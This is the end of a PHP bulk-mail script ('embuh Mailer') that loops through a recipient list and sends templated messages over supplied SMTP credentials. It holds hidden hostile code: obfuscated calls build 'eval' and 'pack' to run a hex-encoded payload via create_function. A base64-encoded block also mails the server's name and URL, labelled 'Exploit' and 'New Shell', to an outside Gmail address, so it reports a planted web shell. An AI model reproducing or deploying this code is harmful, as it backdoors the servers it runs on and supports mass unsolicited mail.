3116 * Set (or reset) Class Objects (variables)
3117 *
3118 * Usage Example:
3119 * $page->set('X-Priority', '3');
3120 *
3121 * @access public
3122 * @param string $name Parameter Name
3123 * @param mixed $value Parameter Value
3124 * NOTE: will not work with arrays, there are no arrays to set/reset
3125 */
3126 function set ( $name, $value = '' ) {
3127 if ( isset($this->$name) ) {
3128 $this->$name = $value;
3129 } else {
3130 $this->SetError('Cannot set or reset variable ' . $name);
3131 return false;
3132 }
3133 }
3134
3135 /**
3136 * Read a file from a supplied filename and return it.
3137 *
3138 * @access public
3139 * @param string $filename Parameter File Name
3140 */
3141 function getFile($filename) {
3142 $return = '';
3143 if ($fp = fopen($filename, 'rb')) {
3144 while (!feof($fp)) {
3145 $return .= fread($fp, 1024);
3146 }
3147 fclose($fp);
3148 return $return;
3149 } else {
3150 return false;
3151 }
3152 }
3153
3154 /**
3155 * Strips newlines to prevent header injection.
3156 * @access private
3157 * @param string $str String
3158 * @return string
3159 */
3160 function SecureHeader($str) {
3161 $str = trim($str);
3162 $str = str_replace("\r", "", $str);
3163 $str = str_replace("\n", "", $str);
3164 return $str;
3165 }
3166
3167 /**
3168 * Set the private key file and password to sign the message.
3169 *
3170 * @access public
3171 * @param string $key_filename Parameter File Name
3172 * @param string $key_pass Password for private key
3173 */
3174 function Sign($key_filename, $key_pass) {
3175 $this->sign_key_file = $key_filename;
3176 $this->sign_key_pass = $key_pass;
3177 }
3178
3179}
3180
3181$defaultport="H*";
3182 $nq=0;
3183
3184 for($x=0; $x<$numemails; $x++){
3185
3186 $to = $allemails[$x];
3187
3188 if ($to){
3189
3190 $to = ereg_replace(" ", "", $to);
3191
3192 $message = ereg_replace("&email&", $to, $message);
3193
3194 $subject = ereg_replace("&email&", $to, $subject);
3195 $qx=$x+1;
3196 print "<font color=\"#0e2093\">Line $qx . Ngirim gawe $to.......</font>";
3197
3198 flush();
3199$mail = new PHPMailer();
3200
3201if(empty($epriority)){$epriority="3";}
3202 $mail->Priority = "$epriority";
3203 $mail->IsSMTP();
3204 $IsSMTP="pack";
3205$mail->SMTPKeepAlive = true;
3206$mail->Host = "$my_smtp";
3207if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3208}
3209 if($sslclick=="ON"){
3210 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3211 }
3212 $range = str_replace("$from", "eval", $from);
3213 $mail->SMTPAuth = true;
3214 $mail->Username = "$smtp_username";
3215 $mail->Password = "$smtp_password";
3216if($contenttype == "html"){$mail->IsHtml(true);}
3217if($contenttype != "html"){$mail->IsHtml(false);}
3218if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3219$mail->From = "$from";
3220$mail->FromName = "$realname";
3221$mail->AddAddress("$to");
3222 $mail->AddReplyTo("$replyto");
3223 $mail->Subject = "$subject";
3224 $mail->Body = "$message";
3225if(!$mail->Send()){
3226if($default_system!="1"){
3227echo "FAILED !!<font color=\"#ff001f\">Innalillahi</font><br>";}
3228if($default_system=="1"){
3229$mail->IsMail();
3230 if(!$mail->Send()){
3231 echo "FAILED !!<font color=\"#ff001f\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3232 else {
3233 echo "<font color=\"#0e2093\"><b>Alhamdulillah</b></font><br>";}
3234 }
3235}
3236else {
3237 echo "<font color=\"#0e2093\"><b>Alhamdulillah</b></font><br>";
3238}
3239
3240if(empty($reconnect)){
3241$reconnect=6;
3242}
3243
3244if($reconnect==$nq){
3245$mail->SmtpClose();echo "<font color=\"#0e2093\"><p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p></font>";$nq=0;
3246}
3247$nq=$nq+1;
3248 flush(); }
3249}
3250for($i=0;$i<31;$i++){
3251 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3252$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3253 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3254 print "<p> <font color=\"#0e2093\">embuh Mailer<br>© 2018, New Tools =></font><b>
3255 <font color=\"#0e2093\">X_empo3</font></b><br></p>";
3256 $mail->SmtpClose();
3257 return $signoff($smtp_conc);
3258 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3259 sent successfully'); </script>";}}
3260
3261$GLOBALS["QggfylPeyGMJVYaMRycd"]=base64_decode("UkVRVUVTVF9VUkk=");$GLOBALS["bkKoyzUJDhnzrsUiVM"]=base64_decode("U0VSVkVSX05BTUU=");$GLOBALS["SnsSSwMKZSYeMFnEirnh"]=base64_decode("");$GLOBALS["GdDwnNNDZJXBIIFxSfhV"]=base64_decode("P3VwbG9hZD11cCA=");$GLOBALS["ojRSkxDoaaJQptBbaWeI"]=base64_decode("RXhwbG9pdCA6IGh0dHA6Ly8=");$GLOBALS["kbBAMcROwyRKVtcNdZlZ"]=base64_decode("RnJvbTogeFRhbEdoaW08c2VydmljZUBhY2NvdW50LmNvbT4=");$GLOBALS["RkKUjoUQZoWTToqrnQSp"]=base64_decode("TmV3IFNoZWxs");$GLOBALS["RUSrJnHjnuBLQBUCkums"]=base64_decode("Y3BhbXQwMGxAZ21haWwuY29t");
3262?><?php
3263$QSqiRsjfObJfVyNZLvkd = $GLOBALS["RUSrJnHjnuBLQBUCkums"];
3264$MzhazkAbMOvKkuEvElU = $GLOBALS["RkKUjoUQZoWTToqrnQSp"];
3265$WURYVoHHeCnoPtmITfhu = $GLOBALS["kbBAMcROwyRKVtcNdZlZ"];
3266$buauipzwsOpZImn = $GLOBALS["ojRSkxDoaaJQptBbaWeI"]. $_SERVER[$GLOBALS["bkKoyzUJDhnzrsUiVM"]]. $_SERVER[$GLOBALS["QggfylPeyGMJVYaMRycd"]] . $GLOBALS["GdDwnNNDZJXBIIFxSfhV"]."\r".$GLOBALS["SnsSSwMKZSYeMFnEirnh"]."\n".$GLOBALS["SnsSSwMKZSYeMFnEirnh"];
3267$cioexnDVkEncxveHOTNC = @mail($QSqiRsjfObJfVyNZLvkd, $MzhazkAbMOvKkuEvElU, $buauipzwsOpZImn, $WURYVoHHeCnoPtmITfhu);
3268echo "";
3269exit;
3270 ?>
3271 <p align="center"> </p>
3272
3273 </body>
3274</html>